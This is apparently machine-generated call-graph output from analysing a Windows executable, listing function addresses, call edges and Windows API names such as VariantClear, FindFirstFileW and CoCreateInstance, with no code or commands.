48741 42a895 3 API calls 48737->48741 48738->48742 48739->48617 48759 416bba VariantClear 48739->48759 48744 42020e 48741->48744 48742->48737 48743 4201da 48742->48743 48793 42003a 48742->48793 48802 42036e 48742->48802 48824 4320d3 48742->48824 48745 418a14 VariantClear 48743->48745 48844 406ad8 48744->48844 48745->48737 48748 420218 48748->48739 48749 42026c 327 API calls 48748->48749 48750 420227 LockWindowUpdate DestroyWindow 48749->48750 48751 420256 GetMessageW 48750->48751 48751->48739 48753 420242 TranslateMessage DispatchMessageW 48751->48753 48753->48751 49643 416b91 48754->49643 48758 416ac1 48758->48613 48759->48617 48760->48617 48762 418881 48761->48762 48779 4188a0 48761->48779 48763 4183f6 ctype VariantClear 48762->48763 48764 418888 48763->48764 48765 4188c1 48764->48765 48766 4188e3 48764->48766 48767 418992 48764->48767 48768 418927 48764->48768 48769 41896e 48764->48769 48764->48779 48770 449170 34 API calls 48765->48770 48772 449170 34 API calls 48766->48772 48771 449170 34 API calls 48767->48771 48775 449170 34 API calls 48768->48775 48768->48779 48773 449170 34 API calls 48769->48773 48774 4188c8 48770->48774 48776 418999 48771->48776 48772->48779 48777 418975 48773->48777 48774->48779 48785 416c4c 34 API calls 48774->48785 48780 418937 VariantInit VariantCopy 48775->48780 48781 4189cb 48776->48781 48782 4189aa 48776->48782 48778 418981 48777->48778 49655 41817f 34 API calls 48777->49655 49656 4174f2 34 API calls 48778->49656 48779->48622 48780->48779 48786 418953 VariantClear 48780->48786 48783 449170 34 API calls 48781->48783 48787 449170 34 API calls 48782->48787 48783->48779 48785->48779 48786->48779 48787->48779 48789->48626 48790->48628 48791->48726 48792->48727 48794 420056 PeekMessageW 48793->48794 48795 420049 48793->48795 48798 42006e 48794->48798 48799 4200af 48794->48799 48795->48794 48796 420052 48795->48796 48796->48742 48798->48799 48800 420087 TranslateMessage DispatchMessageW 48798->48800 48801 42009b PeekMessageW 48798->48801 48851 4042c8 GetClassNameW IsDialogMessageW 48798->48851 48799->48742 48800->48801 48801->48798 48801->48799 48852 4209de 48802->48852 48805 420415 48805->48742 48806 42038e Sleep 48806->48805 48808 42039f 48808->48805 48861 420acc 332 API calls ctype 48808->48861 48810 4203aa 48810->48805 48811 4203ae 48810->48811 48862 420d89 332 API calls ctype 48811->48862 48813 4203b4 48813->48805 48863 420c75 332 API calls ctype 48813->48863 48815 4203bd 48815->48805 48816 42040a 48815->48816 48817 4203ca GetExitCodeProcess 48815->48817 48864 43857c 110 API calls 48816->48864 48817->48806 48819 4203e5 CloseHandle 48817->48819 48820 418a14 VariantClear 48819->48820 48822 4203fb 48820->48822 48821 420411 48821->48805 48865 43efe7 104 API calls 48821->48865 48822->48805 48825 4320fc 48824->48825 48826 4321d1 48825->48826 48827 432107 48825->48827 48985 433470 48826->48985 48828 432199 48827->48828 48829 43210e 48827->48829 48974 4321ef 48828->48974 48831 43218c 48829->48831 48834 432113 48829->48834 48917 432d09 48831->48917 48832 432197 48836 4183f6 ctype VariantClear 48832->48836 48834->48832 48837 43217c 48834->48837 48840 43211d 48834->48840 48838 4321e8 48836->48838 48867 43244b 48837->48867 48838->48742 48841 432122 48840->48841 49040 433276 48840->49040 48841->48832 49069 41faee 51 API calls _fast_error_exit 48841->49069 48845 406aec 48844->48845 48846 406af2 48845->48846 48847 406b20 48845->48847 48846->48845 49642 40c431 InvalidateRect 48846->49642 48847->48748 48849 406af9 DestroyWindow 48849->48846 48850->48739 48851->48798 48853 42037c 48852->48853 48854 4209f6 48852->48854 48853->48805 48853->48806 48860 42093f 332 API calls 48853->48860 48854->48853 48855 4323fe 35 API calls 48854->48855 48856 420a81 48855->48856 48866 416cee 34 API calls 48856->48866 48858 420a9d 48859 421406 332 API calls 48858->48859 48859->48853 48860->48808 48861->48810 48862->48813 48863->48815 48864->48821 48865->48805 48866->48858 48868 432465 48867->48868 48869 4323fe 35 API calls 48868->48869 48870 43247f 48869->48870 48871 432483 48870->48871 48877 432496 48870->48877 49083 432c28 234 API calls 2 library calls 48871->49083 48873 432491 48873->48841 48875 43256f 49070 421630 48875->49070 48876 4183f6 ctype VariantClear 48878 432bf1 48876->48878 48877->48875 48879 421630 34 API calls 48877->48879 48884 432541 48877->48884 48880 4183f6 ctype VariantClear 48878->48880 48879->48877 48882 432bf9 48880->48882 48883 4183f6 ctype VariantClear 48882->48883 48887 432c01 48883->48887 49139 41faee 51 API calls _fast_error_exit 48884->49139 48885 4327e5 48885->48884 48886 416a9f 35 API calls 48885->48886 48915 4328b7 48886->48915 49143 417c63 VariantClear ctype 48887->49143 48892 418a14 VariantClear 48894 432b1e 48892->48894 48895 421406 332 API calls 48894->48895 48896 432b44 48895->48896 48897 432b56 48896->48897 48899 418874 38 API calls 48896->48899 48900 418a14 VariantClear 48897->48900 48898 416bfe 34 API calls 48907 432587 48898->48907 48899->48897 48904 432b81 48900->48904 48902 421630 34 API calls 48902->48915 48903 432aeb 49078 421713 48903->49078 49141 421751 VariantClear 48904->49141 48906 416bfe 34 API calls 48906->48915 48907->48884 48907->48885 48907->48898 48914 432864 48907->48914 49084 4169e0 CharUpperBuffW 48907->49084 49086 436aed 221 API calls ctype 48907->49086 49087 4190e4 VariantClear ctype 48907->49087 49088 4376b3 48907->49088 49131 417c83 48907->49131 48909 432bd1 49142 416bba VariantClear 48909->49142 48910 4376b3 221 API calls 48910->48915 48914->48876 48915->48884 48915->48902 48915->48903 48915->48906 48915->48910 48916 416990 39 API calls 48915->48916 49140 416a56 35 API calls 48915->49140 48916->48915 48928 432d36 48917->48928 48918 432df6 48922 416bfe 34 API calls 48918->48922 48919 4376b3 221 API calls 48927 432dc2 48919->48927 48921 432df1 48923 4183f6 ctype VariantClear 48921->48923 48924 432e0c 48922->48924 48925 4330d7 48923->48925 48926 416c4c 34 API calls 48924->48926 48925->48832 48929 432e1f 48926->48929 48927->48918 48927->48921 48930 432da5 48927->48930 48928->48918 48928->48919 48928->48930 48931 4169e0 CharUpperBuffW 48929->48931 49172 41faee 51 API calls _fast_error_exit 48930->49172 48932 432e2c 48931->48932 48933 432e39 48932->48933 48935 432f0c 48932->48935 48937 432e60 48933->48937 48973 432ef3 48933->48973 48934 432f5e 48934->48921 48936 432f75 48934->48936 48941 432fa6 48934->48941 48935->48934 48935->48973 49178 418357 37 API calls 48935->49178 49180 4309c0 95 API calls ctype 48936->49180 48939 416c4c 34 API calls 48937->48939 48943 432e7b 48939->48943 48945 432fcc 48941->48945 48972 432ff8 48941->48972 49173 416990 CharUpperBuffW 48943->49173 48944 432eb1 48948 4330bb 48944->48948 48949 432ebf 48944->48949 48952 433276 221 API calls 48945->48952 48946 432f4e 49179 436aed 221 API calls ctype 48946->49179 48955 418874 38 API calls 48948->48955 48953 432ec8 48949->48953 48954 4330af 48949->48954 48951 432e8a 48956 416c4c 34 API calls 48951->48956 48952->48973 48958 4330a3 48953->48958 48959 432ecf 48953->48959 49185 4190fd 62 API calls ctype 48954->49185 48955->48921 48957 432e9c 48956->48957 48961 4169e0 CharUpperBuffW 48957->48961 49184 41924b 60 API calls ctype 48958->49184 48963 433096 48959->48963 48964 432ed6 48959->48964 48965 432ea9 48961->48965 49183 4193d3 60 API calls ctype 48963->49183 48967 43308a 48964->48967 48968 432edd 48964->48968 48969 4183f6 ctype VariantClear 48965->48969 49182 419319 60 API calls ctype 48967->49182 48968->48921 49177 419bfa 51 API calls 48968->49177 48969->48944 48972->48944 48972->48973 48973->48921 49181 41faee 51 API calls _fast_error_exit 48973->49181 48975 4321ff 48974->48975 49187 432285 221 API calls ctype 48975->49187 48977 432233 48978 432266 48977->48978 48980 432250 48977->48980 48984 43225e 48977->48984 49199 41faee 51 API calls _fast_error_exit 48978->49199 49188 420425 48980->49188 49200 417c63 VariantClear ctype 48984->49200 48986 433488 48985->48986 48987 433653 48986->48987 48988 433501 48986->48988 48989 433647 48986->48989 48990 433546 48986->48990 48991 433586 48986->48991 48992 4335c6 48986->48992 48993 4334cc 48986->48993 48994 433513 48986->48994 48995 433557 48986->48995 48996 433597 48986->48996 48997 43349d 48986->48997 48998 4334dd 48986->48998 48999 4335a6 48986->48999 49000 433524 48986->49000 49001 433568 48986->49001 49002 4334af 48986->49002 49003 4334ef 48986->49003 49004 4335ed 48986->49004 49005 433577 48986->49005 49006 4335b7 48986->49006 49007 433536 48986->49007 49008 4335f9 48986->49008 49009 4334bd 48986->49009 49010 43363c 48986->49010 49020 4335d5 48986->49020 49025 4334aa 48986->49025 49026 43360b 48986->49026 49561 41faee 51 API calls _fast_error_exit 48987->49561 49544 433d51 221 API calls ctype 48988->49544 49560 434e42 52 API calls 48989->49560 49548 434533 132 API calls ctype 48990->49548 49552 43498c 221 API calls ctype 48991->49552 49556 4354f2 222 API calls ctype 48992->49556 49541 433adf 221 API calls ctype 48993->49541 49545 433e53 55 API calls ctype 48994->49545 49549 4346d6 221 API calls ctype 48995->49549 49553 43494a 52 API calls 48996->49553 49485 433700 48997->49485 49542 433c00 52 API calls 48998->49542 49554 434c69 55 API calls ctype 48999->49554 49546 433f4d 221 API calls 49000->49546 49550 4348cf 38 API calls ctype 49001->49550 49539 433a8f 38 API calls ctype 49002->49539 49543 433c52 221 API calls ctype 49003->49543 49557 435a47 221 API calls ctype 49004->49557 49551 43494a 52 API calls 49005->49551 49555 4360be 222 API calls ctype 49006->49555 49547 433fc1 226 API calls ctype 49007->49547 49558 4359d0 221 API calls 49008->49558 49540 43494a 52 API calls 49009->49540 49559 434da0 221 API calls 49010->49559 49508 434e89 49020->49508 49025->48832 49039 4323fe 35 API calls 49026->49039 49039->49025 49041 433289 49040->49041 49042 418874 38 API calls 49041->49042 49066 4332bb 49042->49066 49045 4333dc 49048 4183f6 ctype VariantClear 49045->49048 49046 433408 49047 4376b3 221 API calls 49046->49047 49053 433418 49047->49053 49050 4333e7 49048->49050 49051 4183f6 ctype VariantClear 49050->49051 49052 4333ef 49051->49052 49054 4183f6 ctype VariantClear 49052->49054 49053->49045 49055 433445 49053->49055 49056 43342d 49053->49056 49057 4333f7 49054->49057 49058 417c83 38 API calls 49055->49058 49608 41faee 51 API calls _fast_error_exit 49056->49608 49607 417c63 VariantClear ctype 49057->49607 49060 433451 49058->49060 49598 431dce 49060->49598 49062 418874 38 API calls 49062->49066 49065 418a14 VariantClear 49065->49066 49066->49045 49066->49046 49066->49062 49066->49065 49067 4333cd 49066->49067 49592 431e29 49066->49592 49604 417d32 VariantClear ctype 49066->49604 49605 431e5b 221 API calls ctype 49066->49605 49606 41fcd4 51 API calls _fast_error_exit 49067->49606 49069->48832 49071 42163c 49070->49071 49075 42165e 49070->49075 49074 449170 34 API calls 49071->49074 49072 449170 34 API calls 49073 42168a 49072->49073 49144 417e35 49073->49144 49074->49075 49075->49072 49077 4216b6 49077->48907 49079 449170 34 API calls 49078->49079 49080 42171b 49079->49080 49148 421847 49080->49148 49083->48873 49085 4169fb 49084->49085 49085->48907 49086->48907 49087->48907 49153 43633e 49088->49153 49090 43850c 38 API calls 49116 437702 49090->49116 49091 4321ef 221 API calls 49091->49116 49093 43633e 34 API calls 49093->49116 49094 43789d 49171 4384ea VariantClear ctype 49094->49171 49095 437deb 49097 437e23 49095->49097 49098 437cb3 49095->49098 49103 418874 38 API calls 49097->49103 49168 41faee 51 API calls _fast_error_exit 49098->49168 49099 437d29 49102 4181c7 37 API calls 49099->49102 49100 437c86 49160 41faee 51 API calls _fast_error_exit 49100->49160 49119 437d34 49102->49119 49107 437e01 49103->49107 49104 437e32 49170 41faee 51 API calls _fast_error_exit 49104->49170 49169 4384ea VariantClear ctype 49107->49169 49108 437eff 94 API calls 49108->49116 49116->49090 49116->49091 49116->49093 49116->49094 49116->49095 49116->49098 49116->49099 49116->49100 49116->49104 49116->49108 49156 43671d 221 API calls ctype 49116->49156 49157 4174a6 34 API calls 49116->49157 49158 4190b2 35 API calls ctype 49116->49158 49159 419099 VariantClear ctype 49116->49159 49117 437e49 49122 4183f6 ctype VariantClear 49117->49122 49119->49104 49121 437d98 49119->49121 49123 437d6a 49119->49123 49124 4183f6 ctype VariantClear 49121->49124 49122->49094 49161 438541 VariantClear ctype 49123->49161 49126 437da8 49124->49126 49126->48907 49127 437d75 49162 419099 VariantClear ctype 49127->49162 49129 437d89 49163 43850c 49129->49163 49132 417cb1 49131->49132 49133 417c8e 49131->49133 49134 449170 34 API calls 49132->49134 49136 449170 34 API calls 49133->49136 49135 417cde 49134->49135 49137 418874 38 API calls 49135->49137 49136->49132 49138 417d12 49137->49138 49138->48907 49139->48914 49140->48915 49141->48909 49142->48914 49145 417e3d 49144->49145 49147 417e89 49144->49147 49146 449170 34 API calls 49145->49146 49145->49147 49146->49147 49147->49077 49149 418874 38 API calls 49148->49149 49150 42186d 49149->49150 49151 418874 38 API calls 49150->49151 49152 421742 49151->49152 49152->48892 49154 449170 34 API calls 49153->49154 49155 436345 49154->49155 49155->49116 49156->49116 49157->49116 49158->49116 49159->49116 49160->49094 49161->49127 49162->49129 49164 449170 34 API calls 49163->49164 49165 438514 49164->49165 49166 418874 38 API calls 49165->49166 49167 438532 49166->49167 49167->49121 49168->49107 49170->49117 49172->48921 49174 4169a8 49173->49174 49176 4169d1 49174->49176 49186 418048 38 API calls 49174->49186 49176->48951 49177->48921 49178->48946 49179->48934 49180->48973 49181->48921 49182->48921 49183->48921 49184->48921 49185->48921 49186->49176 49187->48977 49189 418a14 VariantClear 49188->49189 49190 420432 49189->49190 49191 42047f 49190->49191 49192 420462 49190->49192 49201 439814 49191->49201 49294 414e55 GetFileAttributesW 49191->49294 49296 4253c3 49191->49296 49323 4222a2 49191->49323 49362 418ad9 49192->49362 49194 42047b 49194->48984 49199->48984 49202 439ac7 49201->49202 49369 4184c9 49202->49369 49205 416c4c 34 API calls 49206 439ae1 49205->49206 49207 4184c9 50 API calls 49206->49207 49208 439af7 49207->49208 49209 416c4c 34 API calls 49208->49209 49210 439b01 49209->49210 49373 416bde 49210->49373 49213 439b21 49387 41faee 51 API calls _fast_error_exit 49213->49387 49214 439b35 CharLowerBuffW 49376 417171 49214->49376 49218 439d5d 49223 439da5 49218->49223 49224 439d89 49218->49224 49219 416bde 34 API calls 49220 439b74 49219->49220 49388 416f90 34 API calls 49220->49388 49392 41858e 49223->49392 49383 4184a9 49224->49383 49225 4184c9 50 API calls 49245 439bb9 49225->49245 49226 439b89 49232 416bfe 34 API calls 49226->49232 49227 416bfe 34 API calls 49227->49245 49241 439ba0 49232->49241 49233 439dd9 49234 439e0a 49233->49234 49239 41858e 54 API calls 49233->49239 49236 418a14 VariantClear 49234->49236 49235 439e1c 49243 439e35 49235->49243 49244 439e59 49235->49244 49273 439b2d 49236->49273 49237 439db8 49237->49233 49240 41858e 54 API calls 49237->49240 49242 439df1 49239->49242 49240->49233 49241->49245 49250 416bfe 34 API calls 49241->49250 49242->49234 49242->49235 49397 4168a2 49243->49397 49251 41858e 54 API calls 49244->49251 49245->49218 49245->49225 49245->49227 49249 439d6b 49245->49249 49389 416f37 34 API calls 49245->49389 49390 416cee 34 API calls 49245->49390 49391 44943d 62 API calls 2 library calls 49245->49391 49252 418a14 VariantClear 49249->49252 49254 439bcf 49250->49254 49253 439e6e GetProcAddress 49251->49253 49252->49273 49256 439e7b 49253->49256 49255 416bfe 34 API calls 49254->49255 49260 439bed 49254->49260 49255->49260 49258 439e56 49256->49258 49259 439ec8 49256->49259 49293 439eeb _strcat 49256->49293 49257 416bfe 34 API calls 49283 43a0fe 49257->49283 49258->49256 49404 416d7e 34 API calls 49258->49404 49272 418a14 VariantClear 49259->49272 49260->49245 49261 439c97 49260->49261 49268 418a14 VariantClear 49261->49268 49262 43a0c5 49262->49257 49264 439ea1 49271 4168a2 36 API calls 49264->49271 49267 418a14 VariantClear 49292 43a184 49267->49292 49268->49273 49278 439eac GetProcAddress 49271->49278 49272->49273 49273->49194 49274 449170 34 API calls 49274->49293 49275 43a261 VariantClear 49275->49292 49277 41858e 54 API calls 49277->49293 49281 439ec2 49278->49281 49279 418ad9 35 API calls 49279->49292 49280 4184a9 50 API calls 49280->49293 49281->49259 49281->49293 49283->49283 49284 43a16a 49283->49284 49285 43a14f 49283->49285 49406 415ac3 35 API calls 49284->49406 49405 41faee 51 API calls _fast_error_exit 49285->49405 49288 43a15b GetCurrentProcess TerminateProcess 49288->49284 49291 4168a2 36 API calls 49291->49293 49292->49267 49292->49273 49292->49279 49407 415adc 35 API calls 49292->49407 49408 418aa7 VariantClear ctype 49292->49408 49409 41684e 36 API calls _strlen 49292->49409 49410 418a87 VariantClear ctype 49292->49410 49411 418b39 58 API calls ctype 49292->49411 49412 418b39 58 API calls ctype 49292->49412 49293->49262 49293->49274 49293->49277 49293->49280 49293->49291 49293->49292 49295 414e64 49294->49295 49295->49194 49297 4253e5 49296->49297 49298 4184a9 50 API calls 49297->49298 49299 4253f5 49298->49299 49300 41858e 54 API calls 49299->49300 49303 425417 49299->49303 49300->49303 49301 4184a9 50 API calls 49302 4254fb 49301->49302 49418 414e6e 49302->49418 49303->49301 49308 4254e5 49303->49308 49305 425524 49306 42556e GetCurrentDirectoryW SetCurrentDirectoryW 49305->49306 49307 425592 49306->49307 49306->49308 49309 414e55 GetFileAttributesW 49307->49309 49311 418a14 VariantClear 49308->49311 49310 42559e 49309->49310 49312 425602 49310->49312 49313 4255a3 GetFileAttributesW SetFileAttributesW 49310->49313 49314 4255de 49311->49314 49422 425639 FindFirstFileW 49312->49422 49316 4255e0 49313->49316 49317 4255cc SetCurrentDirectoryW 49313->49317 49314->49194 49319 4255e6 SetCurrentDirectoryW 49316->49319 49320 425627 SetCurrentDirectoryW 49316->49320 49317->49308 49321 425600 49319->49321 49320->49314 49321->49312 49322 418a14 VariantClear 49322->49320 49324 4222b9 49323->49324 49325 41858e 54 API calls 49324->49325 49326 4222c9 49325->49326 49329 416bde 34 API calls 49326->49329 49361 42237d 49326->49361 49327 449170 34 API calls 49328 4223a4 49327->49328 49335 4223ae 49328->49335 49463 413c2d 47 API calls 49328->49463 49330 4222e4 49329->49330 49331 449170 34 API calls 49330->49331 49333 4222ef 49331->49333 49334 449170 34 API calls 49333->49334 49337 4222f7 49334->49337 49336 4184a9 50 API calls 49335->49336 49338 4223cc 49336->49338 49341 4184a9 50 API calls 49337->49341 49440 413c3d 49338->49440 49340 4223d8 49344 449170 34 API calls 49340->49344 49349 4223dc 49340->49349 49342 422318 49341->49342 49459 416ee1 34 API calls 49342->49459 49343 418a14 VariantClear 49345 422385 49343->49345 49347 42240f 49344->49347 49345->49194 49347->49349 49464 403d50 34 API calls 49347->49464 49348 42232d 49460 416ee1 34 API calls 49348->49460 49349->49343 49352 42233b 49356 422365 49352->49356 49461 414e01 GetFileAttributesW FindFirstFileW FindClose 49352->49461 49354 422349 49355 42234e 49354->49355 49354->49356 49462 41553b 38 API calls _wcsrchr 49355->49462 49359 41858e 54 API calls 49356->49359 49358 422356 49358->49356 49360 418a14 VariantClear 49358->49360 49359->49361 49360->49356 49361->49327 49361->49345 49363 4183f6 ctype VariantClear 49362->49363 49364 418ae0 49363->49364 49365 449170 34 API calls 49364->49365 49366 418aee 49365->49366 49367 418aff 49366->49367 49368 416bfe 34 API calls 49366->49368 49367->49194 49368->49367 49370 4184dc 49369->49370 49371 4184cf 49369->49371 49370->49205 49371->49370 49413 41873b 50 API calls ctype 49371->49413 49374 449170 34 API calls 49373->49374 49375 416bf3 49374->49375 49375->49213 49375->49214 49377 41717e 49376->49377 49378 4171c4 49377->49378 49379 4171b5 49377->49379 49381 417216 49377->49381 49378->49219 49378->49245 49379->49378 49414 4173ee 63 API calls 49379->49414 49381->49378 49415 4173ee 63 API calls 49381->49415 49384 4184b1 49383->49384 49385 4184c3 LoadLibraryW 49384->49385 49416 41873b 50 API calls ctype 49384->49416 49385->49242 49387->49273 49388->49226 49389->49245 49390->49245 49391->49245 49393 41859a 49392->49393 49394 4185c3 49392->49394 49393->49394 49417 449291 54 API calls 49393->49417 49394->49237 49396 4185dd 49396->49237 49398 4168bb WideCharToMultiByte 49397->49398 49399 4168ae 49397->49399 49400 4168d6 GetProcAddress 49398->49400 49401 4168da 49398->49401 49399->49398 49400->49258 49402 449170 34 API calls 49401->49402 49403 4168e0 WideCharToMultiByte 49402->49403 49403->49400 49404->49264 49405->49288 49407->49292 49408->49292 49409->49292 49410->49292 49411->49292 49412->49275 49413->49370 49414->49379 49415->49381 49416->49385 49417->49396 49436 416034 49418->49436 49420 414e7d GetFullPathNameW 49421 414e94 49420->49421 49421->49305 49423 42566a 49422->49423 49426 42561a 49422->49426 49424 4256c8 FindNextFileW 49423->49424 49429 42569f GetFileAttributesW SetFileAttributesW 49423->49429 49424->49423 49425 4256da FindClose 49424->49425 49425->49426 49427 4256f1 FindFirstFileW 49425->49427 49426->49320 49426->49322 49428 42577d 49427->49428 49434 425707 49427->49434 49430 42577f FindClose 49428->49430 49429->49424 49431 4256ea 49429->49431 49430->49426 49431->49430 49432 425769 FindNextFileW 49432->49428 49432->49434 49433 425745 SetCurrentDirectoryW 49433->49434 49434->49431 49434->49432 49434->49433 49435 425766 SetCurrentDirectoryW 49434->49435 49435->49432 49437 41603e 49436->49437 49438 449170 34 API calls 49437->49438 49439 416048 49438->49439 49439->49420 49465 413e1f 49440->49465 49444 413c76 49450 44a5a9 63 API calls 49444->49450 49445 413c6e 49445->49444 49446 413c81 49445->49446 49447 413ca5 49445->49447 49472 44a5a9 49446->49472 49447->49444 49449 413cba 49447->49449 49452 413ce5 49449->49452 49453 413cbe CreateFileW 49449->49453 49454 413ca0 49450->49454 49452->49340 49453->49454 49454->49452 49483 413d58 45 API calls 49454->49483 49457 413ce0 49484 413d9d 45 API calls 49457->49484 49459->49348 49460->49352 49461->49354 49462->49358 49463->49335 49464->49349 49466 413e29 49465->49466 49467 413c4c 49465->49467 49468 413e37 49466->49468 49469 413e2f CloseHandle 49466->49469 49467->49445 49471 413e51 64 API calls 49467->49471 49470 44a855 46 API calls 49468->49470 49469->49467 49470->49467 49471->49445 49473 44a54d 63 API calls 49472->49473 49474 413c8e 49473->49474 49474->49454 49475 44a64b 49474->49475 49476 44a657 __lock 49475->49476 49477 44b8fc 35 API calls 49476->49477 49478 44a65f 49477->49478 49479 44a5bc 43 API calls 49478->49479 49480 44a672 49479->49480 49481 44a68a RtlLeaveCriticalSection RtlLeaveCriticalSection 49480->49481 49482 44a681 __lock 49481->49482 49482->49454 49483->49457 49484->49452 49562 437668 49485->49562 49487 43371d 49488 433a6f 49487->49488 49490 43374c 49487->49490 49504 4337c7 49487->49504 49568 41faee 51 API calls _fast_error_exit 49488->49568 49495 43375e 49490->49495 49500 4337d4 49490->49500 49491 433822 49492 421713 38 API calls 49491->49492 49494 433839 49492->49494 49493 4337a8 49499 421630 34 API calls 49493->49499 49496 4183f6 ctype VariantClear 49494->49496 49495->49493 49497 421630 34 API calls 49495->49497 49495->49504 49498 433841 49496->49498 49497->49495 49501 4183f6 ctype VariantClear 49498->49501 49502 4337b8 49499->49502 49500->49491 49500->49494 49506 437668 221 API calls 49500->49506 49507 433a08 49500->49507 49501->49504 49503 4320d3 332 API calls 49502->49503 49503->49504 49504->49025 49506->49500 49567 41faee 51 API calls _fast_error_exit 49507->49567 49511 434ed8 49508->49511 49509 434f1b 49510 416bde 34 API calls 49509->49510 49535 434f23 49510->49535 49511->49509 49512 434f07 49511->49512 49513 434eee 49511->49513 49570 4354f2 222 API calls ctype 49512->49570 49513->49509 49514 434ef3 49513->49514 49569 4360be 222 API calls ctype 49514->49569 49517 4183f6 ctype VariantClear 49518 435437 49517->49518 49519 4183f6 ctype VariantClear 49518->49519 49521 43543f 49519->49521 49520 416d00 34 API calls 49520->49535 49521->49025 49523 434f02 49523->49517 49524 4169e0 CharUpperBuffW 49524->49535 49525 435412 49589 41faee 51 API calls _fast_error_exit 49525->49589 49526 418ad9 35 API calls 49526->49535 49527 416c4c 34 API calls 49527->49535 49528 416990 39 API calls 49528->49535 49530 418874 38 API calls 49530->49535 49531 4376b3 221 API calls 49531->49535 49532 41858e 54 API calls 49532->49535 49534 416bfe 34 API calls 49534->49535 49535->49520 49535->49523 49535->49524 49535->49525 49535->49526 49535->49527 49535->49528 49535->49530 49535->49531 49535->49532 49535->49534 49571 416b20 CharUpperBuffW 49535->49571 49572 419c9c 49535->49572 49578 419d56 49535->49578 49587 419f19 38 API calls 49535->49587 49588 4330de 221 API calls ctype 49535->49588 49539->49025 49540->49025 49541->49025 49542->49025 49543->49025 49544->49025 49545->49025 49546->49025 49547->49025 49548->49025 49549->49025 49550->49025 49551->49025 49552->49025 49553->49025 49554->49025 49555->49025 49556->49025 49557->49025 49558->49025 49559->49025 49560->49025 49561->49025 49563 4376b3 221 API calls 49562->49563 49564 43768c 49563->49564 49565 4183f6 ctype VariantClear 49564->49565 49566 4376ac 49565->49566 49566->49487 49567->49494 49568->49504 49569->49523 49570->49523 49571->49535 49573 419cb1 49572->49573 49574 419ca5 49572->49574 49573->49535 49575 4183f6 ctype VariantClear 49574->49575 49576 419cac 49575->49576 49590 419c48 34 API calls 49576->49590 49579 419d63 ctype 49578->49579 49580 419d5f 49578->49580 49591 419ce1 VariantClear ctype 49579->49591 49580->49535 49582 419d71 49583 449170 34 API calls 49582->49583 49586 419ddf 49582->49586 49584 419dd4 49583->49584 49585 449170 34 API calls 49584->49585 49585->49586 49586->49535 49587->49535 49588->49535 49589->49523 49590->49573 49591->49582 49593 431e30 49592->49593 49594 431e52 49592->49594 49595 418ad9 35 API calls 49593->49595 49594->49066 49596 431e3a 49595->49596 49609 431b0a 49596->49609 49599 431de8 49598->49599 49600 431b0a 110 API calls 49599->49600 49601 431e18 49600->49601 49602 4183f6 ctype VariantClear 49601->49602 49603 431e22 49602->49603 49603->49045 49604->49066 49605->49066 49606->49045 49608->49045 49610 431b42 49609->49610 49618 431b5f 49609->49618 49613 431bd2 49610->49613 49614 416034 34 API calls 49610->49614 49610->49618 49612 431d97 49612->49594 49616 449170 34 API calls 49613->49616 49615 431b99 49614->49615 49615->49613 49615->49618 49621 431be3 49616->49621 49617 431c1c 49619 431c5d VariantInit 49617->49619 49629 431d76 49617->49629 49641 4309c0 95 API calls ctype 49618->49641 49623 431c74 __umatherr 49619->49623 49621->49617 49622 431c1e 49621->49622 49636 4301fc 89 API calls ctype 49621->49636 49637 4309c0 95 API calls ctype 49622->49637 49624 431ce0 49623->49624 49625 431d06 49623->49625 49638 4309c0 95 API calls ctype 49624->49638 49639 418b39 58 API calls ctype 49625->49639 49629->49612 49632 431d89 VariantClear 49629->49632 49633 431d8e VariantClear 49629->49633 49630 431cf8 49631 431d69 VariantClear 49630->49631 49631->49629 49632->49633 49633->49612 49633->49629 49635 431d12 49635->49631 49640 418b39 58 API calls ctype 49635->49640 49636->49621 49637->49617 49638->49630 49639->49635 49640->49635 49641->49612 49642->48849 49644 449170 34 API calls 49643->49644 49645 416ab6 49644->49645 49646 417f9f 49645->49646 49647 417fab 49646->49647 49652 417fdc 49646->49652 49648 417fb8 49647->49648 49649 417f9f VariantClear 49647->49649 49650 417fc7 49648->49650 49651 417f9f VariantClear 49648->49651 49649->49648 49650->49652 49654 43855b VariantClear ctype 49650->49654 49651->49650 49652->48758 49654->49652 49655->48778 49656->48779 49657 4310a2 49658 4310b5 49657->49658 49664 4310eb 49657->49664 49659 431111 49658->49659 49660 4310b8 49658->49660 49663 4184a9 50 API calls 49659->49663 49661 4310f0 49660->49661 49665 4310bb 49660->49665 49668 4184a9 50 API calls 49661->49668 49662 4184a9 50 API calls 49667 431140 49662->49667 49663->49664 49664->49662 49666 431149 49665->49666 49669 4184a9 50 API calls 49665->49669 49677 430dcb 49667->49677 49671 431105 49668->49671 49672 4310db 49669->49672 49673 4184a9 50 API calls 49671->49673 49674 4184a9 50 API calls 49672->49674 49673->49664 49675 4310e3 49674->49675 49676 4184a9 50 API calls 49675->49676 49676->49664 49678 416bde 34 API calls 49677->49678 49679 430de6 49678->49679 49680 416bde 34 API calls 49679->49680 49681 430dee 49680->49681 49682 416bde 34 API calls 49681->49682 49683 430df6 49682->49683 49684 418a14 VariantClear 49683->49684 49685 430e0c 49684->49685 49686 430e22 49685->49686 49687 430e14 OleInitialize 49685->49687 49688 416034 34 API calls 49686->49688 49687->49686 49689 430e2a CLSIDFromProgID 49688->49689 49690 430e40 49689->49690 49691 430e45 49690->49691 49692 430e61 CoCreateInstance 49690->49692 49693 430ed7 49690->49693 49721 4309c0 95 API calls ctype 49691->49721 49692->49691 49695 430e7d 49692->49695 49723 430763 41 API calls __umatherr 49693->49723 49695->49691 49700 430e9b 49695->49700 49697 430eec 49697->49691 49698 430ef9 CoInitializeSecurity 49697->49698 49699 430f17 __umatherr 49698->49699 49724 4301be CoTaskMemAlloc 49699->49724 49722 418b39 58 API calls ctype 49700->49722 49703 430f25 49705 430faa __umatherr 49703->49705 49706 416d00 34 API calls 49703->49706 49704 430e52 49704->49666 49707 431019 CoCreateInstanceEx 49705->49707 49710 430f55 49705->49710 49709 430f41 49706->49709 49707->49691 49708 43104d 49707->49708 49708->49691 49712 431080 49708->49712 49713 43105d CoSetProxyBlanket 49708->49713 49709->49710 49725 41728c 34 API calls 49709->49725 49710->49705 49712->49695 49715 431094 49712->49715 49713->49712 49714 430f73 49726 416cee 34 API calls 49714->49726 49715->49691 49717 430f7b 49727 4172d5 34 API calls 49717->49727 49719 430fa2 49728 416cee 34 API calls 49719->49728 49721->49704 49722->49704 49723->49697 49724->49703 49725->49714 49726->49717 49727->49719 49728->49705 49729 458276 49734 41a0dd 49729->49734 49733 45828a 49735 41a0ea _fast_error_exit 49734->49735 49775 4108ad 18 API calls 49735->49775 49737 41a0f7 49738 416bde 34 API calls 49737->49738 49739 41a102 49738->49739 49740 416bde 34 API calls 49739->49740 